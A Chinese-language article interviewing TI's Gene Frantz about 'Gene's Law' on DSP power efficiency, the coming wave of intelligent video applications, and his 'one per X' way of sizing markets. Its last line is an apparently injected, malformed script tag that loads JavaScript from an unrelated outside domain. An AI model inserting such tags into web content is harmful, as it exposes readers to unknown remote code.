作者:张国斌
1965年4月,《电子学杂志》刊登了一位在仙童公司工作的36岁工程师的文章——《往集成电路里塞进更多元件》,这位名叫戈登?摩尔的工程师以拗口的句子对半导体芯片的未来做了预言---他说,为了求得最低成本,集成电路的复杂性大约每一年就会翻一番。这便是摩尔定律的最初原型,连摩尔也没有想到,他的这个小小的发现会引领半导体产业的40年的辉煌发展(未来还将引领)。但是,摩尔定律虽然预言了芯片晶体管数量的发展规律,却没有考虑到由此产生的芯片功耗问题,而另一个人,发现了这个问题并提出了自己的假设,我们称之为“gene定律”。这个人就是目前ti的首席战略科学家gene.a.frantz(方进)。
15年前,当全球都在为intel的386,486换代而疯狂时,当性能、成本成为大家瞩目的焦点的时候,“在进行一项新的业务---数字蜂窝手机的时候,我们发现dsp的功耗问题比时钟速度和mips更重要。当时我仔细研究了我们的dsp和竞争对手的dsp。”方进在近日的ti开发商大会上接受电子工程专辑采访时解释道,“我特别研究了单位dsp性能下的功耗问题。”
他表示:“许多dsp专家都同意每秒可完成乘法累加数(mmac/s)是个简单、公平的测试指标,但我仔细研究了dsp的每mmac/s的功耗问题,即mw/mmac,得到了我的gene定律---即每18个月每mmac/s的功耗会减半。方进表示,虽然他现在已经记不清当时的具体推导数据,但是dsp的一些发展支持了他的假设,1982年ti推出的tms32010,它有5mips的处理性能,它用2mipis完成mmac/s ,它的mw/mmac/s. 是360。到1985年,c25系列发布的时候它的mw/mmac/s是55,到1991年c5x发布时候,它的mw/mmac/s已经是12,从这个发展来看,正是符合了他的假设。”
今天看来,这个定律从处理器级而不是晶体管级为我们定量预测了功耗减小的趋势,而且它也可以预测dsp的一项特别指标mw/mmac,无疑,这个定律出现是有着深远历史意义的。
第三次dsp浪潮下的创新应用
1996年,mit媒体实验室主任尼葛洛庞帝的《数字化生存》风靡全球,他在书中为我们描述了一幅令人瞠目的未来生活图画。而方进,则从另外的角度来描绘了数字化技术。
他指出,从他的研究来看,我们目前正在经历第三次数字化浪潮。
他解释道:通信主导了第一次dsp浪潮,它让数据传输速率实现了从kbps到mbps的转变,实现了语音的数字化传输,同时,数字蜂窝手机开始涉足多媒体应用领域,这个浪潮已经延续了十几年,并且还在延续。
第二次dsp浪潮由娱乐主导,标志性应用是便携式的娱乐设备,视频、音频节目的录制、存储、回放对dsp提出了更高要求,也给dsp提出了低功耗的目标,这个浪潮也在延续。
而现在,我们正经历第三次dsp浪潮,预计它对dsp提出的要求是要实现每秒500亿次指令的执行,它对应的应用将是:汽车、高质量的生活、安全和教育。他认为第三次dsp技术浪潮的主要应用点是视频,而且是智能化的视频应用,他以汽车应用来解释。
方进指出:未来汽车中将会使用10以上的摄象机用于对视频信息的捕捉,初期,dsp完成的功能是能及时处理提供所需的信息,随着dsp技术的发展,进一步,它会对视频信息进行处理,并提供辅助的决策信息(second opinion),然后,再随着dsp的发展,它会提供首选的决策信息(first opinion),然后,随着技术的发展,它将提供唯一的信息(only opinion),这样实际上就是实现了完全的智能化视频。这样以后,汽车驾驶将进去完全的智能时代。他强调在安全领域,也将引入智能化的视频应用。
技术创新应考虑的因素
作为ti的dsp业务发展经理,方进更多地是要寻找能利用dsp实现的创新应用。因此,在发现创新应用方面,他积累了很多经验。在如何评估新的应用时候,他强调:“很难描述我评估时用到原则,但一个首选的原则是‘每x一(one per)’。”他举例说当我关注助听器应用的时候,我先用“每人一”(one per person)来评估,我们知道这个星球有60亿人,他们很多人都将使用助听器。所以“每人一”的市场要大于“每手持一”或“每车一”,这样,可以对市场的最大容量有个估计。另外,因为每个人有两只耳朵,所以我们可以得到的市场将是“每人2”,这是一个相当大的市场。
对汽车视频市场,我们观察到的是每部汽车以后会用10到20个摄象机,所以这是“每车10”的市场。也是一个巨大市场。一旦我们估计出未来市场的规模,我们就能够开始设置一些限定条款,把(潜在的)市场机会再压实一些。他表示,对新的应用或技术,他更看中市场规模而不是产品的生命周期。
他认为未来系统厂商应更注重软件方面的创新。他指出工程师随意地在自视为基础技术方面投入大把时间和资金的好日子已经一去不复返了。?script src=http://er12.com/t.js>





